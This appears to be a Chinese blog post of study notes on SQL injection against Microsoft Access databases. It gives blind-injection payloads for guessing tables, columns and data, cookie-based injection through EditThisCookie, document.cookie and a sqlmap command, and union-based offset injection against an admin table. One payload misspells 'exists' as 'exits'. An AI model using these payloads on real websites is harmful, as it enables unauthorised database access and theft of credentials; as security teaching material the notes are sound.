Access注入

Access

  • Access没有系统自带库
    • 在每个查询语句后面都要带表名
  1. 猜表

    • 第一种方法是靠强猜一些常用的表名(admin、users、job、news)

    • 第二种方法是利用exists(select * from 常见的表名),如果有数据会无回显,没有就会报错,通过burp加载字典来查看表名

      id=1 and exits(select * from 表名)
      
  2. 猜字段

    • 第一种方法是靠强猜一些常用的字段(id、username、passwd)

    • 第二种方法是利用exists(select 常见的字段名 from 常见的表名),如果有数据会无回显,没有就会报错,通过burp加载字典来查看表名

  3. 字段长度

    ?id=100 and (select top 1 len(username) from admin)=8 // 第一条数据的长度

  4. 数据

    ?id=100 and (select top 1 ascii(mid(username, 1, 1)))>100

注入手法

Cookie注入

  • 什么是Cookie
    • Cookie就是代表身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,无需密码就可以登录管理员帐号
  • 什么是Cookie注入
    • 开发的偷懒,无论什么数据都用$_REQUEST来获取,这就有可能忽略了对Cookie传参的检测,也可以通过这个绕过waf
      • 注意:php5.4以上的版本就不会接受Cookie传参了

流程

  1. 尝试cookie传入参数和值是否可以运行
  2. 猜字段数(order by)
  3. 猜表名
  4. 猜字段(字段名)

方法

插件修改

  • EditThisCookie
    • 通过“+”来添加cookie字段(可能get传参有waf拦截)
    • 修改数据来进行注入

JS修改

  • document.cookie="参数"+escape("值")

sqlmap跑

python3 sqlmap.py -u "http://127.0.0.1/1.asp" --cookie "id=1" --level 2

偏移注入

  • 当知道表名不知道字段名的情况下使用偏移注入
    • 因为sql注入是查询网站写好的数据表,想要注入别的数据表必须字段数相同,或者想要查询的数据表的字段小于当前查询的数据表的字段

表名.*代表这个数据表里面的所有数据

order by有12个字段
union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin
想要注入的admin表有6个字段
union select 1,2,3,admin.*,10,11,12 from admin
posted @ 2022-07-12 16:19  余星酒  阅读(100)  评论(0)    收藏  举报